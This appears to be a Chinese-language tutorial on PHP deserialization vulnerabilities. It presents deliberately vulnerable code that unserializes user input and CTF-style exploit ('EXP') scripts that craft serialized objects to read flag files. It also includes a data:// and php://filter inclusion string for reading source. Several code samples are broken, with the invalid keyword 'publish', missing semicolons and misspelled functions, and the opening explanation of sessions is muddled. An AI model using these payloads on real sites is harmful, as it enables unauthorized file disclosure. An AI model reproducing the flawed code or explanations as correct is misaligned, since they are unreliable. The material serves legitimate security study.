反序列化漏洞的存在可以直接执行恶意命令,对蓝队来说,十分致命
php反序列化漏洞原理
登录网站会和网站建立一个会话,会话里会有SESSID,SESSID保存在Cookies,Cookies可用于校验用户身份,当点击登录时,为了更多的用户有良好的使用体验,可以从软件和硬件两方面进行升级
在硬件方面可以购买主机,硬盘等
软件方面
主机:内存+硬盘(8+512),内存处理正在操作的东西,硬盘放操作完成的东西,固存也没有内存处理速度快,登录成功就会建立一个SESSION,并存储在内存里面,等待随时调用,登陆之后不购物的话,可以把SESSION经过序列化操作转化为字符串,然后存储到硬盘里面,购物的瞬间再把SESSION从硬盘里面拿出来,经过反序列化操作,把字符串转化为可使用的SESSION
php序列化函数为serialize,反序列化函数为unserialize
序列化——将一个对象转化为可以传输的字符串,回复为对象的过程称为反序列化
类和对象
类和对象:对象可以继承类的特征,也可以修改类的特征
序列化和反序列化函数
序列化是将数据结构或对象转换成二进制串的过程——是将数据分解成字节流,以便存储在文件中或在网络上传输的过程
反序列化就是打开字节流并重构对象
序列化的作用:
- 序列化是为了保存内存中的各种对象的状态,并且可以把保存的对象状态在读出来。
- 可以实现数据的持久化,在MVC模式中很有作用
- 对象数据的远程通信使用序列化与反序列化
- 对象序列化的作用:就是在传递和保存对象时,保证对象的完整性和可传递性。比如把一个对象保存成一个文件的时候需要实现序列化接口
1、用于将php代码(数组或对象)序列化为字符串,方便了存储和传输
<?php
$a = array('a' => 'Apple' ,'b' => 'banana' , 'c' => 'Coconut');
//序列化数组
$s = serialize($a);
echo $s;
//输出结果:a:3:{s:1:"a";s:5:"Apple";s:1:"b";s:6:"banana";s:1:"c";s:7:"Coconut";}
?>
2、unserialize反序列化函数
反序列化就是在适当的时候把这个字符串再转化成原来的变量使用
<?php
$a = array('a' => 'Apple' ,'b' => 'banana' , 'c' => 'Coconut');
//序列化数组
$s = serialize($a);
echo $s;
//输出结果:a:3:{s:1:"a";s:5:"Apple";s:1:"b";s:6:"banana";s:1:"c";s:7:"Coconut";}
//反序列化
$o = unserialize($s);
print_r($o);
//输出结果 Array ( [a] => Apple [b] => banana [c] => Coconut )
?>
<?php
class S{ // 创建一个类S
public $test="pikachu"; //定义一个属性,publish是声明,声明当前的属性是公开的
}
$s=new S(); //创建一个对象
serialize($s); //把这个对象序列化
$a=serialize($s); //序列化后赋值,此时$a是一个字符串,可以被打印
echo $a; //就会成功打印————序列化后的字节序列:Object S对象 属性值 属性值对应的值
echo"</br>"; //进行反序列化
$b=unserialize($a); //此时b是字符串a反序列化之后的对象
echo $b->test;
var_dump($b);
echo $s->test; //s是S的对象,可以调用当前S的所有属性和方法——可以打印Pikachu
echo $s; //此时$s是对象,是个抽象概念,对象不能被直接打印
var_dump($s); //详细查看s的变量的类型及值
?>
属性除了publish,还有private私有的,只有当前这个类的对象才能调用这个属性
protected受保护的,说明只有在这个类里面才能调用test属性
php中 ->、=>、$this->、:的区别
1、->引用一个类的属性(变量)、方法(函数),可以把->理解成调用的意思,如上例所示
2、=>用于定义数组:$arr1 =array(0=>'php',1=>'is',the=>'the')
3、$this->表示实例化后调用具体对象
4、: : 用来直接调用类中的属性或方法,没有实例化 ,eg:Echo 类::对象,直接打印
序列化方法
涉及的php函数如下,此类函数均会在某些条件下触发而不用手动调用:
1、__construct():当对象被创建时自动调用,构造函数—— 一般声明一些类的时候回调用此方法
2、__destruct():当对象销毁时调用——当执行一个销毁对象的操作就会执行,几个对象执行几次
3、__toString():当一个对象被当做一个字符串时使用——当打印对象的时候,程序就不会卡死
4、__sleep():在对象被序列化之前使用
5、__wakeup():在反序列化之后立即调用——先执行wakeup,再执行destruct——wakeup的级别最高,所以当先反序列化时,就会先执行__wakeup()方法
<?php
function __destruct()
{
echo "destruct"; //打印一个对象的时候,自动销毁,打印以观测该函数有没有被执行
}
?>
漏洞代码构造
<?php
class A{
var $test="demo"; //定义一个test属性,值为demo
function __destruct() //魔术方法,自动执行
{
echo $this->test; //打印当前的test值————标志该方法是否成功执行了
}
}
$a=$_GET['test']; //接受一个test值
$a_unser=unserialize($a); //test反序列化,$a_unser是一个对象
?>
新构造一个下面的类,然后运行之后把序列化的结果test属性,作为参数传入上述代码页面,test属性就会被新构造的对象的属性覆盖掉
<?php
class A{
var $test ="nosery";
} //也可执行 var $cmd ="whoami"; 然后把运行后的字节序列传参,就可以获取对方的主机名
$a=new A; 新建的同一类下的对象,里面的test属性覆盖掉上面A的类里面属性
echo serialize($a);
?>
发现当前页面存在一个可控的序列化的漏洞,类里面有能够产生危害的函数或漏洞,然后就可以构造EXP,但class类要保持一致
传参可使用php编辑器去看要渗透的传参的执行结果
EXP作业
//<!--
class FileClass
{
publish $filename='error.log'; // 属性
publish function __toString()
{
return file_get_contents($this->filename); //返回当前文件内容
}
class User
{
public $name='';
public $age=0;
public $addr='';
public function __toString()
{
return 'uesrname':'.$this->name.'</br>age:'.$this->age.'</br>addr:'.$this->addr;
}
}
#参数可控
$obj=unserialize($_POST['uu']); //变量obj是post传参后反序列化
echo $obj;
-->
虽然有两个类,但是User类是一系列属性的拼接,用不上,所以可以直接当没有这个类,然后obj传参的话,就要传到FileClass类里面,然后要通过这个类获取flag
构造EXP——用不到的代码能删的删掉,可以防止产生一些意想不到的问题,序列化只序列化属性,不会序列化方法,所以方法直接复制即可
<?php
class FileClass
{
publish $filename='flag.php';
}
$a=new FileClass;
echo serialize($a);
?>
然后复制执行结果,作为post的参数uu传入上述网页
万物皆可序列化
数组,字符串,对象等都可序列化
<?php
error_reporting(0);
include "flag.php";
$key="D0g3!!!";
$str=$_GET['str'];
if(unserialize($str)==="$key") //双引号下是变量,单引号下是普通字符串,反序列化后值=D0g3
{
echo"$flag";
}
show_source(_FILE_);
?>
EXP
<?php
$key="D0g3!!!";
echo serialize($key); //打印key的序列化字节作为传参
?>
序列化后的结果str传参即可,因为上述代码的get传参为str
对字符串序列化没有什么意义,因为他本身就可以传输,本身不是抽象的
对数组序列化
<?php
$key=[1,2,3];
echo serialize($key); //数组序列化后以array的a打头,键都在前,值都在后
?>
反序列化作业
<?php
$user=$_GET["user"];
$file=$_GET["file"];
$pass=$_GET["pass"];
if(isset($user)&&(file_get_content($user,'r')==="admin")){ //文件包含伪协议可绕过
echo "hello admin!</br>";
if(preg_match("/f1a9/",$file)){
exit();
}else{
include($file);
$pass=unserialize($pass)};
echo $pass;
}
}else{
echo "you are not admin!";
}
?>
传参?user=data://text/plain,admin&pass=&file=php://filter/convert.base64-encode/resource=class.php
执行之后代码审计,此时读取index.php——因为页面源码不一定全,然后再进行代码审计
class.php
<?php
error_reporting(E_ALL & ~E_NOTICE);
class Read{ //f1a9.php————提示————直接包含不行,
public $file //有这个文件的话,就echo file_get_contents($this->file);打印文件内容
public function __toString(){
if(isset($this->file)){
echo file_get_contents($this->file);
}
return "__toString was called!"; //否则就返回__toString was called!字符串
}
}
?>
构造EXP——在index.php里面包含class.php,就可以反序列化pass类,将序列化的结果传参pass,file=class.php
<?php
class Read{
public $file="f1a9.php";
}
$a=new Read;
echo serialize($a);
?>